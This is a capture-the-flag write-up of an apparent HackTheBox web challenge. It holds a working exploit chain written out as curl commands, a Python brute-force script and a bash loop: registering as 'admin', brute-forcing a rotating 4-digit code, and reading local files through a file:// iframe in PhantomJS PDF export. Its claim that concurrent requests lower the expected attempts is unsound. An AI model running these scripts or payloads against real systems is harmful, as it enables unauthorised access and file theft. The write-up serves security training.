$ cat writeup.md…
$ cat writeup.md…
HackTheBox
"Survivors find a battered laptop in the rubble. Powering it up, they discover a cryptic software interface from an ancient architecture firm, hinting at vital blueprints. They must crack its security protocols. Undeterred, they race against time."
"Survivors find a battered laptop in the rubble. Powering it up, they discover a cryptic software interface from an ancient architecture firm, hinting at vital blueprints. They must crack its security protocols. Undeterred, they race against time."
Target: http://154.57.164.69:31117
users and documents tablesSingle Express application with the following route structure:
/login, /register) — user registration and login with cookie-based auth/document/*) — CRUD for markdown documents, content sanitized via sanitize-html/document/export/:id, /document/debug/export) — PDF generation from markdown/HTMLKey security middleware:
isAuthenticated — validates cookie signature using HMAC with random SECRETisAdmin — checks req.user.username === "admin"Access code system:
rotatePass() generates a 4-digit code (0000-9999) via crypto.randomBytes(2).readUInt16BE() % 10000verifyPass() checks the pass; on failure, calls rotatePass() to generate a new coderotatePass() is called on startup — no admin user is pre-createdThe isAdmin middleware checks req.user.username === "admin", but the application never creates an admin user at startup. Only rotatePass() is called in src/index.js. The /register endpoint has no restriction on the username "admin", so anyone can register as admin.
// src/middlewares.js const isAdmin = (req, res, next) => { if (req.user.username !== "admin") { return res.status(403).send("Only admin can access this"); } next(); };
// src/index.js — startup rotatePass(); // No admin user creation!
The POST /document/debug/export endpoint requires both admin access AND a valid access_pass. The access code is a 4-digit number (0000-9999):
// src/utils/crypto.js const generateAccessCode = () => { return crypto.randomBytes(2).readUInt16BE() % 10000; };
Critical behavior: on each failed verification, rotatePass() generates a new random code. This means each guess has an independent 1/10000 probability of success — the code changes on every wrong attempt, but each attempt is still a fresh 1/10000 lottery ticket.
Expected number of attempts to succeed: ~10000 (but can be much less with parallel requests).
The POST /document/debug/export endpoint passes user-supplied content directly to generatePDF() without any sanitization. Unlike the regular document creation route which uses sanitize-html, the debug endpoint has no HTML filtering.
// src/routes/generate.js — debug export (NO sanitization) router.post('/document/debug/export', isAuthenticated, isAdmin, async (req, res) => { const { content, access_pass } = req.body; if (!verifyPass(access_pass)) return res.status(403).send("Invalid access pass"); const pdf = await generatePDF(content); // Raw content → PDF res.send(pdf); });
The markdown-pdf library (v11.0.0) uses PhantomJS as a headless browser with remarkable: { html: true }, meaning raw HTML is rendered. PhantomJS supports the file:// protocol, allowing local file reads via <iframe> or <img> tags.
The GET /document/:id route has a parameter swap bug:
// Swapped parameters: findDocument(userId, docId) but called as findDocument(user.id, id) // This creates an IDOR where document ID and user ID are swapped
This was noted but not needed for the exploit chain.
Since no admin user exists at startup, simply register with username "admin":
# Register curl -X POST "http://TARGET/register" \ -d "username=admin&password=admin123" # Login and capture cookie curl -X POST "http://TARGET/login" \ -d "username=admin&password=admin123" -v # Set-Cookie: user=eyJ1c2VybmFtZSI6ImFkbWluIiwiaWQiOjF9-7d12eac46ba667cfeae3d39f9ed3275be95d93cf4376fb4b893dd89ca28037b9
Since each failed attempt rotates the code, we include the exploit payload in every brute-force request. When we hit the correct code, the PDF with the flag is returned directly — no second request needed.
The SSRF payload uses an iframe to read /flag.txt via the file:// protocol:
<iframe src="file:///flag.txt" width="800" height="600"></iframe>
The returned PDF contains the rendered contents of /flag.txt. Use pdftotext to extract the text.
#!/usr/bin/env python3 """ HackTheBox Dark Runes — Admin Registration + Access Code Brute-Force + PhantomJS LFI Combines brute-force with SSRF payload so correct guess returns flag PDF directly. """ import asyncio import aiohttp import random import sys TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://154.57.164.69:31117" COOKIE = None # Will be set after login # SSRF payload — PhantomJS renders file:// URLs in iframes PAYLOAD = '<iframe src="file:///flag.txt" width="800" height="600"></iframe>' async def register_and_login(session): """Register as admin and get auth cookie.""" global COOKIE # Register await session.post(f"{TARGET}/register", data={ "username": "admin", "password": "admin123" }) # Login resp = await session.post(f"{TARGET}/login", data={ "username": "admin", "password": "admin123" }, allow_redirects=False) COOKIE = resp.cookies.get("user") if not COOKIE: # Try from redirect cookies = session.cookie_jar.filter_cookies(TARGET) COOKIE = str(cookies.get("user")) print(f"[+] Logged in as admin, cookie: {COOKIE.value if hasattr(COOKIE, 'value') else COOKIE[:50]}...") async def try_code(session, code, attempt_num): """Try a single access code with the SSRF payload.""" access_pass = f"{code:04d}" try: resp = await session.post( f"{TARGET}/document/debug/export", data={ "content": PAYLOAD, "access_pass": access_pass }, timeout=aiohttp.ClientTimeout(total=30) ) if resp.status == 200: data = await resp.read() if len(data) > 500: # PDF with content (not error) print(f"\n[!!!] SUCCESS with code {access_pass} on attempt #{attempt_num}") # Save PDF with open("flag.pdf", "wb") as f: f.write(data) print(f"[+] PDF saved to flag.pdf ({len(data)} bytes)") print(f"[+] Run: pdftotext flag.pdf - | grep HTB") return True if attempt_num % 100 == 0: print(f"[*] Attempt #{attempt_num}, last code: {access_pass}, status: {resp.status}") except Exception as e: if attempt_num % 200 == 0: print(f"[!] Error on attempt #{attempt_num}: {e}") return False async def main(): connector = aiohttp.TCPConnector(limit=10) jar = aiohttp.CookieJar(unsafe=True) async with aiohttp.ClientSession(connector=connector, cookie_jar=jar) as session: await register_and_login(session) print(f"[*] Starting brute-force of 4-digit access code...") print(f"[*] Each request includes SSRF payload for /flag.txt") print(f"[*] Expected: ~10000 attempts (1/10000 per try, code rotates on failure)") attempt = 0 found = False while not found: # Send batch of concurrent requests tasks = [] for _ in range(10): # 10 concurrent code = random.randint(0, 9999) attempt += 1 tasks.append(try_code(session, code, attempt)) results = await asyncio.gather(*tasks) if any(results): found = True break if not found: print(f"[-] Failed after {attempt} attempts") if __name__ == "__main__": asyncio.run(main())
# Register and login COOKIE=$(curl -s -X POST "http://TARGET/login" \ -d "username=admin&password=admin123" \ -c - | grep user | awk '{print $NF}') # Brute-force (slow but works) for i in $(seq 0 9999); do CODE=$(printf "%04d" $i) RESP=$(curl -s -o /dev/null -w "%{http_code}" \ -X POST "http://TARGET/document/debug/export" \ -b "user=$COOKIE" \ -d "content=<iframe src='file:///flag.txt' width='800' height='600'></iframe>&access_pass=$CODE") if [ "$RESP" = "200" ]; then echo "Found code: $CODE" curl -s -X POST "http://TARGET/document/debug/export" \ -b "user=$COOKIE" \ -d "content=<iframe src='file:///flag.txt' width='800' height='600'></iframe>&access_pass=$CODE" \ -o flag.pdf pdftotext flag.pdf - break fi done
| Payload | Why it failed |
|---|---|
<script>require('fs').readFileSync('/flag.txt')</script> | require('fs') is only available in PhantomJS script context, not in the web page sandbox |
<script>document.write(require("fs").read("/flag.txt"))</script> | Same reason — produced empty PDF |
Regular document export (GET /document/export/:id) | Content is sanitized via sanitize-html, strips iframes |
No admin pre-creation: The most common pattern is to seed an admin user in the database. Here, only rotatePass() runs at startup, leaving the "admin" username available for registration. Always check if privileged usernames are actually reserved.
Code rotation on failure is NOT a defense: Even though the access code changes on every wrong guess, each attempt is an independent 1/10000 chance. With parallel requests, the expected time to find the code is manageable (~2000-5000 attempts in practice due to birthday-like effects with concurrent requests).
Debug endpoint bypasses sanitization: The regular document creation route uses sanitize-html, but the debug export endpoint passes content directly to generatePDF(). Always check ALL endpoints that handle user input, especially "debug" or "test" routes.
PhantomJS file:// protocol: markdown-pdf uses PhantomJS which supports file:// URLs. An <iframe> with src="file:///flag.txt" is the most reliable way to read local files — it renders the file content directly into the PDF.
Combine brute-force with payload: Instead of first finding the code and then sending the exploit, include the exploit payload in every brute-force request. This saves a round-trip and avoids the code rotating between discovery and exploitation.
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar